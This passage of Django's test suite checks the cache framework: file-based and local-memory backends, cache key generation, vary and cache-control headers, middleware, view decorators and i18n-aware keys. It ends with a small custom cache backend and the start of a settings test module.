    def tearDown(self):
        super(FileBasedCacheTests, self).tearDown()
        # Call parent first, as cache.clear() may recreate cache base directory
        shutil.rmtree(self.dirname)

    def test_ignores_non_cache_files(self):
        fname = os.path.join(self.dirname, 'not-a-cache-file')
        with open(fname, 'w'):
            os.utime(fname, None)
        cache.clear()
        self.assertTrue(os.path.exists(fname),
                        'Expected cache.clear to ignore non cache files')
        os.remove(fname)

    def test_clear_does_not_remove_cache_dir(self):
        cache.clear()
        self.assertTrue(os.path.exists(self.dirname),
                        'Expected cache.clear to keep the cache dir')

    def test_creates_cache_dir_if_nonexistent(self):
        os.rmdir(self.dirname)
        cache.set('foo', 'bar')
        os.path.exists(self.dirname)

    def test_cache_write_unpicklable_type(self):
        # This fails if not using the highest pickling protocol on Python 2.
        cache.set('unpicklable', UnpicklableType())

    def test_get_ignores_enoent(self):
        cache.set('foo', 'bar')
        os.unlink(cache._key_to_file('foo'))
        # Returns the default instead of erroring.
        self.assertEqual(cache.get('foo', 'baz'), 'baz')

    def test_get_does_not_ignore_non_enoent_errno_values(self):
        with mock.patch.object(io, 'open', side_effect=IOError):
            with self.assertRaises(IOError):
                cache.get('foo')


@override_settings(CACHES={
    'default': {
        'BACKEND': 'cache.liberal_backend.CacheClass',
    },
})
class CustomCacheKeyValidationTests(SimpleTestCase):
    """
    Tests for the ability to mixin a custom ``validate_key`` method to
    a custom cache backend that otherwise inherits from a builtin
    backend, and override the default key validation. Refs #6447.
    """
    def test_custom_key_validation(self):
        # this key is both longer than 250 characters, and has spaces
        key = 'some key with spaces' * 15
        val = 'a value'
        cache.set(key, val)
        self.assertEqual(cache.get(key), val)


@override_settings(
    CACHES={
        'default': {
            'BACKEND': 'cache.closeable_cache.CacheClass',
        }
    }
)
class CacheClosingTests(SimpleTestCase):

    def test_close(self):
        self.assertFalse(cache.closed)
        signals.request_finished.send(self.__class__)
        self.assertTrue(cache.closed)


DEFAULT_MEMORY_CACHES_SETTINGS = {
    'default': {
        'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
        'LOCATION': 'unique-snowflake',
    }
}
NEVER_EXPIRING_CACHES_SETTINGS = copy.deepcopy(DEFAULT_MEMORY_CACHES_SETTINGS)
NEVER_EXPIRING_CACHES_SETTINGS['default']['TIMEOUT'] = None


class DefaultNonExpiringCacheKeyTests(SimpleTestCase):
    """Tests that verify that settings having Cache arguments with a TIMEOUT
    set to `None` will create Caches that will set non-expiring keys.

    This fixes ticket #22085.
    """
    def setUp(self):
        # The 5 minute (300 seconds) default expiration time for keys is
        # defined in the implementation of the initializer method of the
        # BaseCache type.
        self.DEFAULT_TIMEOUT = caches[DEFAULT_CACHE_ALIAS].default_timeout

    def tearDown(self):
        del(self.DEFAULT_TIMEOUT)

    def test_default_expiration_time_for_keys_is_5_minutes(self):
        """The default expiration time of a cache key is 5 minutes.

        This value is defined inside the __init__() method of the
        :class:`django.core.cache.backends.base.BaseCache` type.
        """
        self.assertEqual(300, self.DEFAULT_TIMEOUT)

    def test_caches_with_unset_timeout_has_correct_default_timeout(self):
        """Caches that have the TIMEOUT parameter undefined in the default
        settings will use the default 5 minute timeout.
        """
        cache = caches[DEFAULT_CACHE_ALIAS]
        self.assertEqual(self.DEFAULT_TIMEOUT, cache.default_timeout)

    @override_settings(CACHES=NEVER_EXPIRING_CACHES_SETTINGS)
    def test_caches_set_with_timeout_as_none_has_correct_default_timeout(self):
        """Memory caches that have the TIMEOUT parameter set to `None` in the
        default settings with have `None` as the default timeout.

        This means "no timeout".
        """
        cache = caches[DEFAULT_CACHE_ALIAS]
        self.assertIsNone(cache.default_timeout)
        self.assertIsNone(cache.get_backend_timeout())

    @override_settings(CACHES=DEFAULT_MEMORY_CACHES_SETTINGS)
    def test_caches_with_unset_timeout_set_expiring_key(self):
        """Memory caches that have the TIMEOUT parameter unset will set cache
        keys having the default 5 minute timeout.
        """
        key = "my-key"
        value = "my-value"
        cache = caches[DEFAULT_CACHE_ALIAS]
        cache.set(key, value)
        cache_key = cache.make_key(key)
        self.assertIsNotNone(cache._expire_info[cache_key])

    @override_settings(CACHES=NEVER_EXPIRING_CACHES_SETTINGS)
    def test_caches_set_with_timeout_as_none_set_non_expiring_key(self):
        """Memory caches that have the TIMEOUT parameter set to `None` will set
        a non expiring key by default.
        """
        key = "another-key"
        value = "another-value"
        cache = caches[DEFAULT_CACHE_ALIAS]
        cache.set(key, value)
        cache_key = cache.make_key(key)
        self.assertIsNone(cache._expire_info[cache_key])


@override_settings(
    CACHE_MIDDLEWARE_KEY_PREFIX='settingsprefix',
    CACHE_MIDDLEWARE_SECONDS=1,
    CACHES={
        'default': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
        },
    },
    USE_I18N=False,
    ALLOWED_HOSTS=['.example.com'],
)
class CacheUtils(SimpleTestCase):
    """TestCase for django.utils.cache functions."""

    def setUp(self):
        self.host = 'www.example.com'
        self.path = '/cache/test/'
        self.factory = RequestFactory(HTTP_HOST=self.host)

    def tearDown(self):
        cache.clear()

    def _get_request_cache(self, method='GET', query_string=None, update_cache=None):
        request = self._get_request(self.host, self.path,
                                    method, query_string=query_string)
        request._cache_update_cache = True if not update_cache else update_cache
        return request

    def _set_cache(self, request, msg):
        response = HttpResponse()
        response.content = msg
        return UpdateCacheMiddleware().process_response(request, response)

    def test_patch_vary_headers(self):
        headers = (
            # Initial vary, new headers, resulting vary.
            (None, ('Accept-Encoding',), 'Accept-Encoding'),
            ('Accept-Encoding', ('accept-encoding',), 'Accept-Encoding'),
            ('Accept-Encoding', ('ACCEPT-ENCODING',), 'Accept-Encoding'),
            ('Cookie', ('Accept-Encoding',), 'Cookie, Accept-Encoding'),
            ('Cookie, Accept-Encoding', ('Accept-Encoding',), 'Cookie, Accept-Encoding'),
            ('Cookie, Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
            (None, ('Accept-Encoding', 'COOKIE'), 'Accept-Encoding, COOKIE'),
            ('Cookie,     Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
            ('Cookie    ,     Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
        )
        for initial_vary, newheaders, resulting_vary in headers:
            response = HttpResponse()
            if initial_vary is not None:
                response['Vary'] = initial_vary
            patch_vary_headers(response, newheaders)
            self.assertEqual(response['Vary'], resulting_vary)

    def test_get_cache_key(self):
        request = self.factory.get(self.path)
        response = HttpResponse()
        # Expect None if no headers have been set yet.
        self.assertIsNone(get_cache_key(request))
        # Set headers to an empty list.
        learn_cache_key(request, response)

        self.assertEqual(
            get_cache_key(request),
            'views.decorators.cache.cache_page.settingsprefix.GET.'
            '18a03f9c9649f7d684af5db3524f5c99.d41d8cd98f00b204e9800998ecf8427e'
        )
        # Verify that a specified key_prefix is taken into account.
        key_prefix = 'localprefix'
        learn_cache_key(request, response, key_prefix=key_prefix)
        self.assertEqual(
            get_cache_key(request, key_prefix=key_prefix),
            'views.decorators.cache.cache_page.localprefix.GET.'
            '18a03f9c9649f7d684af5db3524f5c99.d41d8cd98f00b204e9800998ecf8427e'
        )

    def test_get_cache_key_with_query(self):
        request = self.factory.get(self.path, {'test': 1})
        response = HttpResponse()
        # Expect None if no headers have been set yet.
        self.assertIsNone(get_cache_key(request))
        # Set headers to an empty list.
        learn_cache_key(request, response)
        # Verify that the querystring is taken into account.

        self.assertEqual(
            get_cache_key(request),
            'views.decorators.cache.cache_page.settingsprefix.GET.'
            'beaf87a9a99ee81c673ea2d67ccbec2a.d41d8cd98f00b204e9800998ecf8427e'
        )

    def test_cache_key_varies_by_url(self):
        """
        get_cache_key keys differ by fully-qualified URL instead of path
        """
        request1 = self.factory.get(self.path, HTTP_HOST='sub-1.example.com')
        learn_cache_key(request1, HttpResponse())
        request2 = self.factory.get(self.path, HTTP_HOST='sub-2.example.com')
        learn_cache_key(request2, HttpResponse())
        self.assertNotEqual(get_cache_key(request1), get_cache_key(request2))

    def test_learn_cache_key(self):
        request = self.factory.head(self.path)
        response = HttpResponse()
        response['Vary'] = 'Pony'
        # Make sure that the Vary header is added to the key hash
        learn_cache_key(request, response)

        self.assertEqual(
            get_cache_key(request),
            'views.decorators.cache.cache_page.settingsprefix.GET.'
            '18a03f9c9649f7d684af5db3524f5c99.d41d8cd98f00b204e9800998ecf8427e'
        )

    def test_patch_cache_control(self):
        tests = (
            # Initial Cache-Control, kwargs to patch_cache_control, expected Cache-Control parts
            (None, {'private': True}, {'private'}),
            ('', {'private': True}, {'private'}),

            # Test whether private/public attributes are mutually exclusive
            ('private', {'private': True}, {'private'}),
            ('private', {'public': True}, {'public'}),
            ('public', {'public': True}, {'public'}),
            ('public', {'private': True}, {'private'}),
            ('must-revalidate,max-age=60,private', {'public': True}, {'must-revalidate', 'max-age=60', 'public'}),
            ('must-revalidate,max-age=60,public', {'private': True}, {'must-revalidate', 'max-age=60', 'private'}),
            ('must-revalidate,max-age=60', {'public': True}, {'must-revalidate', 'max-age=60', 'public'}),
        )

        cc_delim_re = re.compile(r'\s*,\s*')

        for initial_cc, newheaders, expected_cc in tests:
            response = HttpResponse()
            if initial_cc is not None:
                response['Cache-Control'] = initial_cc
            patch_cache_control(response, **newheaders)
            parts = set(cc_delim_re.split(response['Cache-Control']))
            self.assertEqual(parts, expected_cc)


@override_settings(
    CACHES={
        'default': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
            'KEY_PREFIX': 'cacheprefix',
        },
    },
)
class PrefixedCacheUtils(CacheUtils):
    pass


@override_settings(
    CACHE_MIDDLEWARE_SECONDS=60,
    CACHE_MIDDLEWARE_KEY_PREFIX='test',
    CACHES={
        'default': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
        },
    },
)
class CacheHEADTest(SimpleTestCase):

    def setUp(self):
        self.path = '/cache/test/'
        self.factory = RequestFactory()

    def tearDown(self):
        cache.clear()

    def _set_cache(self, request, msg):
        response = HttpResponse()
        response.content = msg
        return UpdateCacheMiddleware().process_response(request, response)

    def test_head_caches_correctly(self):
        test_content = 'test content'

        request = self.factory.head(self.path)
        request._cache_update_cache = True
        self._set_cache(request, test_content)

        request = self.factory.head(self.path)
        request._cache_update_cache = True
        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        self.assertIsNotNone(get_cache_data)
        self.assertEqual(test_content.encode(), get_cache_data.content)

    def test_head_with_cached_get(self):
        test_content = 'test content'

        request = self.factory.get(self.path)
        request._cache_update_cache = True
        self._set_cache(request, test_content)

        request = self.factory.head(self.path)
        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        self.assertIsNotNone(get_cache_data)
        self.assertEqual(test_content.encode(), get_cache_data.content)


@override_settings(
    CACHE_MIDDLEWARE_KEY_PREFIX='settingsprefix',
    CACHES={
        'default': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
        },
    },
    LANGUAGES=[
        ('en', 'English'),
        ('es', 'Spanish'),
    ],
)
class CacheI18nTest(TestCase):

    def setUp(self):
        self.path = '/cache/test/'
        self.factory = RequestFactory()

    def tearDown(self):
        cache.clear()

    @override_settings(USE_I18N=True, USE_L10N=False, USE_TZ=False)
    def test_cache_key_i18n_translation(self):
        request = self.factory.get(self.path)
        lang = translation.get_language()
        response = HttpResponse()
        key = learn_cache_key(request, response)
        self.assertIn(lang, key, "Cache keys should include the language name when translation is active")
        key2 = get_cache_key(request)
        self.assertEqual(key, key2)

    def check_accept_language_vary(self, accept_language, vary, reference_key):
        request = self.factory.get(self.path)
        request.META['HTTP_ACCEPT_LANGUAGE'] = accept_language
        request.META['HTTP_ACCEPT_ENCODING'] = 'gzip;q=1.0, identity; q=0.5, *;q=0'
        response = HttpResponse()
        response['Vary'] = vary
        key = learn_cache_key(request, response)
        key2 = get_cache_key(request)
        self.assertEqual(key, reference_key)
        self.assertEqual(key2, reference_key)

    @override_settings(USE_I18N=True, USE_L10N=False, USE_TZ=False)
    def test_cache_key_i18n_translation_accept_language(self):
        lang = translation.get_language()
        self.assertEqual(lang, 'en')
        request = self.factory.get(self.path)
        request.META['HTTP_ACCEPT_ENCODING'] = 'gzip;q=1.0, identity; q=0.5, *;q=0'
        response = HttpResponse()
        response['Vary'] = 'accept-encoding'
        key = learn_cache_key(request, response)
        self.assertIn(lang, key, "Cache keys should include the language name when translation is active")
        self.check_accept_language_vary(
            'en-us',
            'cookie, accept-language, accept-encoding',
            key
        )
        self.check_accept_language_vary(
            'en-US',
            'cookie, accept-encoding, accept-language',
            key
        )
        self.check_accept_language_vary(
            'en-US,en;q=0.8',
            'accept-encoding, accept-language, cookie',
            key
        )
        self.check_accept_language_vary(
            'en-US,en;q=0.8,ko;q=0.6',
            'accept-language, cookie, accept-encoding',
            key
        )
        self.check_accept_language_vary(
            'ko-kr,ko;q=0.8,en-us;q=0.5,en;q=0.3 ',
            'accept-encoding, cookie, accept-language',
            key
        )
        self.check_accept_language_vary(
            'ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4',
            'accept-language, accept-encoding, cookie',
            key
        )
        self.check_accept_language_vary(
            'ko;q=1.0,en;q=0.5',
            'cookie, accept-language, accept-encoding',
            key
        )
        self.check_accept_language_vary(
            'ko, en',
            'cookie, accept-encoding, accept-language',
            key
        )
        self.check_accept_language_vary(
            'ko-KR, en-US',
            'accept-encoding, accept-language, cookie',
            key
        )

    @override_settings(USE_I18N=False, USE_L10N=True, USE_TZ=False)
    def test_cache_key_i18n_formatting(self):
        request = self.factory.get(self.path)
        lang = translation.get_language()
        response = HttpResponse()
        key = learn_cache_key(request, response)
        self.assertIn(lang, key, "Cache keys should include the language name when formatting is active")
        key2 = get_cache_key(request)
        self.assertEqual(key, key2)

    @override_settings(USE_I18N=False, USE_L10N=False, USE_TZ=True)
    def test_cache_key_i18n_timezone(self):
        request = self.factory.get(self.path)
        # This is tightly coupled to the implementation,
        # but it's the most straightforward way to test the key.
        tz = force_text(timezone.get_current_timezone_name(), errors='ignore')
        tz = tz.encode('ascii', 'ignore').decode('ascii').replace(' ', '_')
        response = HttpResponse()
        key = learn_cache_key(request, response)
        self.assertIn(tz, key, "Cache keys should include the time zone name when time zones are active")
        key2 = get_cache_key(request)
        self.assertEqual(key, key2)

    @override_settings(USE_I18N=False, USE_L10N=False)
    def test_cache_key_no_i18n(self):
        request = self.factory.get(self.path)
        lang = translation.get_language()
        tz = force_text(timezone.get_current_timezone_name(), errors='ignore')
        tz = tz.encode('ascii', 'ignore').decode('ascii').replace(' ', '_')
        response = HttpResponse()
        key = learn_cache_key(request, response)
        self.assertNotIn(lang, key, "Cache keys shouldn't include the language name when i18n isn't active")
        self.assertNotIn(tz, key, "Cache keys shouldn't include the time zone name when i18n isn't active")

    @override_settings(USE_I18N=False, USE_L10N=False, USE_TZ=True)
    def test_cache_key_with_non_ascii_tzname(self):
        # Regression test for #17476
        class CustomTzName(timezone.UTC):
            name = ''

            def tzname(self, dt):
                return self.name

        request = self.factory.get(self.path)
        response = HttpResponse()
        with timezone.override(CustomTzName()):
            CustomTzName.name = 'Hora estándar de Argentina'.encode('UTF-8')  # UTF-8 string
            sanitized_name = 'Hora_estndar_de_Argentina'
            self.assertIn(
                sanitized_name, learn_cache_key(request, response),
                "Cache keys should include the time zone name when time zones are active"
            )

            CustomTzName.name = 'Hora estándar de Argentina'    # unicode
            sanitized_name = 'Hora_estndar_de_Argentina'
            self.assertIn(
                sanitized_name, learn_cache_key(request, response),
                "Cache keys should include the time zone name when time zones are active"
            )

    @override_settings(
        CACHE_MIDDLEWARE_KEY_PREFIX="test",
        CACHE_MIDDLEWARE_SECONDS=60,
        USE_ETAGS=True,
        USE_I18N=True,
    )
    def test_middleware(self):
        def set_cache(request, lang, msg):
            translation.activate(lang)
            response = HttpResponse()
            response.content = msg
            return UpdateCacheMiddleware().process_response(request, response)

        # cache with non empty request.GET
        request = self.factory.get(self.path, {'foo': 'bar', 'other': 'true'})
        request._cache_update_cache = True

        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        # first access, cache must return None
        self.assertIsNone(get_cache_data)
        response = HttpResponse()
        content = 'Check for cache with QUERY_STRING'
        response.content = content
        UpdateCacheMiddleware().process_response(request, response)
        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        # cache must return content
        self.assertIsNotNone(get_cache_data)
        self.assertEqual(get_cache_data.content, content.encode())
        # different QUERY_STRING, cache must be empty
        request = self.factory.get(self.path, {'foo': 'bar', 'somethingelse': 'true'})
        request._cache_update_cache = True
        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        self.assertIsNone(get_cache_data)

        # i18n tests
        en_message = "Hello world!"
        es_message = "Hola mundo!"

        request = self.factory.get(self.path)
        request._cache_update_cache = True
        set_cache(request, 'en', en_message)
        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        # Check that we can recover the cache
        self.assertIsNotNone(get_cache_data)
        self.assertEqual(get_cache_data.content, en_message.encode())
        # Check that we use etags
        self.assertTrue(get_cache_data.has_header('ETag'))
        # Check that we can disable etags
        with self.settings(USE_ETAGS=False):
            request._cache_update_cache = True
            set_cache(request, 'en', en_message)
            get_cache_data = FetchFromCacheMiddleware().process_request(request)
            self.assertFalse(get_cache_data.has_header('ETag'))
        # change the session language and set content
        request = self.factory.get(self.path)
        request._cache_update_cache = True
        set_cache(request, 'es', es_message)
        # change again the language
        translation.activate('en')
        # retrieve the content from cache
        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        self.assertEqual(get_cache_data.content, en_message.encode())
        # change again the language
        translation.activate('es')
        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        self.assertEqual(get_cache_data.content, es_message.encode())
        # reset the language
        translation.deactivate()

    @override_settings(
        CACHE_MIDDLEWARE_KEY_PREFIX="test",
        CACHE_MIDDLEWARE_SECONDS=60,
        USE_ETAGS=True,
    )
    def test_middleware_doesnt_cache_streaming_response(self):
        request = self.factory.get(self.path)
        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        self.assertIsNone(get_cache_data)

        # This test passes on Python < 3.3 even without the corresponding code
        # in UpdateCacheMiddleware, because pickling a StreamingHttpResponse
        # fails (http://bugs.python.org/issue14288). LocMemCache silently
        # swallows the exception and doesn't store the response in cache.
        content = ['Check for cache with streaming content.']
        response = StreamingHttpResponse(content)
        UpdateCacheMiddleware().process_response(request, response)

        get_cache_data = FetchFromCacheMiddleware().process_request(request)
        self.assertIsNone(get_cache_data)


@override_settings(
    CACHES={
        'default': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
            'KEY_PREFIX': 'cacheprefix'
        },
    },
)
class PrefixedCacheI18nTest(CacheI18nTest):
    pass


def hello_world_view(request, value):
    return HttpResponse('Hello World %s' % value)


def csrf_view(request):
    return HttpResponse(csrf(request)['csrf_token'])


@override_settings(
    CACHE_MIDDLEWARE_ALIAS='other',
    CACHE_MIDDLEWARE_KEY_PREFIX='middlewareprefix',
    CACHE_MIDDLEWARE_SECONDS=30,
    CACHES={
        'default': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
        },
        'other': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
            'LOCATION': 'other',
            'TIMEOUT': '1',
        },
    },
)
class CacheMiddlewareTest(SimpleTestCase):

    def setUp(self):
        super(CacheMiddlewareTest, self).setUp()
        self.factory = RequestFactory()
        self.default_cache = caches['default']
        self.other_cache = caches['other']

    def tearDown(self):
        self.default_cache.clear()
        self.other_cache.clear()
        super(CacheMiddlewareTest, self).tearDown()

    def test_constructor(self):
        """
        Ensure the constructor is correctly distinguishing between usage of CacheMiddleware as
        Middleware vs. usage of CacheMiddleware as view decorator and setting attributes
        appropriately.
        """
        # If no arguments are passed in construction, it's being used as middleware.
        middleware = CacheMiddleware()

        # Now test object attributes against values defined in setUp above
        self.assertEqual(middleware.cache_timeout, 30)
        self.assertEqual(middleware.key_prefix, 'middlewareprefix')
        self.assertEqual(middleware.cache_alias, 'other')

        # If arguments are being passed in construction, it's being used as a decorator.
        # First, test with "defaults":
        as_view_decorator = CacheMiddleware(cache_alias=None, key_prefix=None)

        self.assertEqual(as_view_decorator.cache_timeout, 30)  # Timeout value for 'default' cache, i.e. 30
        self.assertEqual(as_view_decorator.key_prefix, '')
        # Value of DEFAULT_CACHE_ALIAS from django.core.cache
        self.assertEqual(as_view_decorator.cache_alias, 'default')

        # Next, test with custom values:
        as_view_decorator_with_custom = CacheMiddleware(cache_timeout=60, cache_alias='other', key_prefix='foo')

        self.assertEqual(as_view_decorator_with_custom.cache_timeout, 60)
        self.assertEqual(as_view_decorator_with_custom.key_prefix, 'foo')
        self.assertEqual(as_view_decorator_with_custom.cache_alias, 'other')

    def test_middleware(self):
        middleware = CacheMiddleware()
        prefix_middleware = CacheMiddleware(key_prefix='prefix1')
        timeout_middleware = CacheMiddleware(cache_timeout=1)

        request = self.factory.get('/view/')

        # Put the request through the request middleware
        result = middleware.process_request(request)
        self.assertIsNone(result)

        response = hello_world_view(request, '1')

        # Now put the response through the response middleware
        response = middleware.process_response(request, response)

        # Repeating the request should result in a cache hit
        result = middleware.process_request(request)
        self.assertIsNotNone(result)
        self.assertEqual(result.content, b'Hello World 1')

        # The same request through a different middleware won't hit
        result = prefix_middleware.process_request(request)
        self.assertIsNone(result)

        # The same request with a timeout _will_ hit
        result = timeout_middleware.process_request(request)
        self.assertIsNotNone(result)
        self.assertEqual(result.content, b'Hello World 1')

    def test_view_decorator(self):
        # decorate the same view with different cache decorators
        default_view = cache_page(3)(hello_world_view)
        default_with_prefix_view = cache_page(3, key_prefix='prefix1')(hello_world_view)

        explicit_default_view = cache_page(3, cache='default')(hello_world_view)
        explicit_default_with_prefix_view = cache_page(3, cache='default', key_prefix='prefix1')(hello_world_view)

        other_view = cache_page(1, cache='other')(hello_world_view)
        other_with_prefix_view = cache_page(1, cache='other', key_prefix='prefix2')(hello_world_view)

        request = self.factory.get('/view/')

        # Request the view once
        response = default_view(request, '1')
        self.assertEqual(response.content, b'Hello World 1')

        # Request again -- hit the cache
        response = default_view(request, '2')
        self.assertEqual(response.content, b'Hello World 1')

        # Requesting the same view with the explicit cache should yield the same result
        response = explicit_default_view(request, '3')
        self.assertEqual(response.content, b'Hello World 1')

        # Requesting with a prefix will hit a different cache key
        response = explicit_default_with_prefix_view(request, '4')
        self.assertEqual(response.content, b'Hello World 4')

        # Hitting the same view again gives a cache hit
        response = explicit_default_with_prefix_view(request, '5')
        self.assertEqual(response.content, b'Hello World 4')

        # And going back to the implicit cache will hit the same cache
        response = default_with_prefix_view(request, '6')
        self.assertEqual(response.content, b'Hello World 4')

        # Requesting from an alternate cache won't hit cache
        response = other_view(request, '7')
        self.assertEqual(response.content, b'Hello World 7')

        # But a repeated hit will hit cache
        response = other_view(request, '8')
        self.assertEqual(response.content, b'Hello World 7')

        # And prefixing the alternate cache yields yet another cache entry
        response = other_with_prefix_view(request, '9')
        self.assertEqual(response.content, b'Hello World 9')

        # But if we wait a couple of seconds...
        time.sleep(2)

        # ... the default cache will still hit
        caches['default']
        response = default_view(request, '11')
        self.assertEqual(response.content, b'Hello World 1')

        # ... the default cache with a prefix will still hit
        response = default_with_prefix_view(request, '12')
        self.assertEqual(response.content, b'Hello World 4')

        # ... the explicit default cache will still hit
        response = explicit_default_view(request, '13')
        self.assertEqual(response.content, b'Hello World 1')

        # ... the explicit default cache with a prefix will still hit
        response = explicit_default_with_prefix_view(request, '14')
        self.assertEqual(response.content, b'Hello World 4')

        # .. but a rapidly expiring cache won't hit
        response = other_view(request, '15')
        self.assertEqual(response.content, b'Hello World 15')

        # .. even if it has a prefix
        response = other_with_prefix_view(request, '16')
        self.assertEqual(response.content, b'Hello World 16')

    def test_sensitive_cookie_not_cached(self):
        """
        Django must prevent caching of responses that set a user-specific (and
        maybe security sensitive) cookie in response to a cookie-less request.
        """
        csrf_middleware = CsrfViewMiddleware()
        cache_middleware = CacheMiddleware()

        request = self.factory.get('/view/')
        self.assertIsNone(cache_middleware.process_request(request))

        csrf_middleware.process_view(request, csrf_view, (), {})

        response = csrf_view(request)

        response = csrf_middleware.process_response(request, response)
        response = cache_middleware.process_response(request, response)

        # Inserting a CSRF cookie in a cookie-less request prevented caching.
        self.assertIsNone(cache_middleware.process_request(request))


@override_settings(
    CACHE_MIDDLEWARE_KEY_PREFIX='settingsprefix',
    CACHE_MIDDLEWARE_SECONDS=1,
    CACHES={
        'default': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
        },
    },
    USE_I18N=False,
)
class TestWithTemplateResponse(SimpleTestCase):
    """
    Tests various headers w/ TemplateResponse.

    Most are probably redundant since they manipulate the same object
    anyway but the Etag header is 'special' because it relies on the
    content being complete (which is not necessarily always the case
    with a TemplateResponse)
    """
    def setUp(self):
        self.path = '/cache/test/'
        self.factory = RequestFactory()

    def tearDown(self):
        cache.clear()

    def test_patch_vary_headers(self):
        headers = (
            # Initial vary, new headers, resulting vary.
            (None, ('Accept-Encoding',), 'Accept-Encoding'),
            ('Accept-Encoding', ('accept-encoding',), 'Accept-Encoding'),
            ('Accept-Encoding', ('ACCEPT-ENCODING',), 'Accept-Encoding'),
            ('Cookie', ('Accept-Encoding',), 'Cookie, Accept-Encoding'),
            ('Cookie, Accept-Encoding', ('Accept-Encoding',), 'Cookie, Accept-Encoding'),
            ('Cookie, Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
            (None, ('Accept-Encoding', 'COOKIE'), 'Accept-Encoding, COOKIE'),
            ('Cookie,     Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
            ('Cookie    ,     Accept-Encoding', ('Accept-Encoding', 'cookie'), 'Cookie, Accept-Encoding'),
        )
        for initial_vary, newheaders, resulting_vary in headers:
            template = engines['django'].from_string("This is a test")
            response = TemplateResponse(HttpRequest(), template)
            if initial_vary is not None:
                response['Vary'] = initial_vary
            patch_vary_headers(response, newheaders)
            self.assertEqual(response['Vary'], resulting_vary)

    def test_get_cache_key(self):
        request = self.factory.get(self.path)
        template = engines['django'].from_string("This is a test")
        response = TemplateResponse(HttpRequest(), template)
        key_prefix = 'localprefix'
        # Expect None if no headers have been set yet.
        self.assertIsNone(get_cache_key(request))
        # Set headers to an empty list.
        learn_cache_key(request, response)

        self.assertEqual(
            get_cache_key(request),
            'views.decorators.cache.cache_page.settingsprefix.GET.'
            '58a0a05c8a5620f813686ff969c26853.d41d8cd98f00b204e9800998ecf8427e'
        )
        # Verify that a specified key_prefix is taken into account.
        learn_cache_key(request, response, key_prefix=key_prefix)
        self.assertEqual(
            get_cache_key(request, key_prefix=key_prefix),
            'views.decorators.cache.cache_page.localprefix.GET.'
            '58a0a05c8a5620f813686ff969c26853.d41d8cd98f00b204e9800998ecf8427e'
        )

    def test_get_cache_key_with_query(self):
        request = self.factory.get(self.path, {'test': 1})
        template = engines['django'].from_string("This is a test")
        response = TemplateResponse(HttpRequest(), template)
        # Expect None if no headers have been set yet.
        self.assertIsNone(get_cache_key(request))
        # Set headers to an empty list.
        learn_cache_key(request, response)
        # Verify that the querystring is taken into account.
        self.assertEqual(
            get_cache_key(request),
            'views.decorators.cache.cache_page.settingsprefix.GET.'
            '0f1c2d56633c943073c4569d9a9502fe.d41d8cd98f00b204e9800998ecf8427e'
        )

    @override_settings(USE_ETAGS=False)
    def test_without_etag(self):
        template = engines['django'].from_string("This is a test")
        response = TemplateResponse(HttpRequest(), template)
        self.assertFalse(response.has_header('ETag'))
        patch_response_headers(response)
        self.assertFalse(response.has_header('ETag'))
        response = response.render()
        self.assertFalse(response.has_header('ETag'))

    @override_settings(USE_ETAGS=True)
    def test_with_etag(self):
        template = engines['django'].from_string("This is a test")
        response = TemplateResponse(HttpRequest(), template)
        self.assertFalse(response.has_header('ETag'))
        patch_response_headers(response)
        self.assertFalse(response.has_header('ETag'))
        response = response.render()
        self.assertTrue(response.has_header('ETag'))


class TestMakeTemplateFragmentKey(SimpleTestCase):
    def test_without_vary_on(self):
        key = make_template_fragment_key('a.fragment')
        self.assertEqual(key, 'template.cache.a.fragment.d41d8cd98f00b204e9800998ecf8427e')

    def test_with_one_vary_on(self):
        key = make_template_fragment_key('foo', ['abc'])
        self.assertEqual(key, 'template.cache.foo.900150983cd24fb0d6963f7d28e17f72')

    def test_with_many_vary_on(self):
        key = make_template_fragment_key('bar', ['abc', 'def'])
        self.assertEqual(key, 'template.cache.bar.4b35f12ab03cec09beec4c21b2d2fa88')

    def test_proper_escaping(self):
        key = make_template_fragment_key('spam', ['abc:def%'])
        self.assertEqual(key, 'template.cache.spam.f27688177baec990cdf3fbd9d9c3f469')


class CacheHandlerTest(SimpleTestCase):
    def test_same_instance(self):
        """
        Attempting to retrieve the same alias should yield the same instance.
        """
        cache1 = caches['default']
        cache2 = caches['default']

        self.assertIs(cache1, cache2)

    def test_per_thread(self):
        """
        Requesting the same alias from separate threads should yield separate
        instances.
        """
        c = []

        def runner():
            c.append(caches['default'])

        for x in range(2):
            t = threading.Thread(target=runner)
            t.start()
            t.join()

        self.assertIsNot(c[0], c[1])






from django.core.cache.backends.locmem import LocMemCache


class LiberalKeyValidationMixin(object):
    def validate_key(self, key):
        pass


class CacheClass(LiberalKeyValidationMixin, LocMemCache):
    pass












import os
import sys
import unittest
import warnings
from types import ModuleType

from django.conf import ENVIRONMENT_VARIABLE, LazySettings, Settings, settings
from django.core.exceptions import ImproperlyConfigured
from django.http import HttpRequest
from django.test import (
    SimpleTestCase, TestCase, TransactionTestCase, modify_settings,
    override_settings, signals,
)


@modify_settings(ITEMS={
    'prepend': ['b'],
    'append': ['d'],
    'remove': ['a', 'e']
})
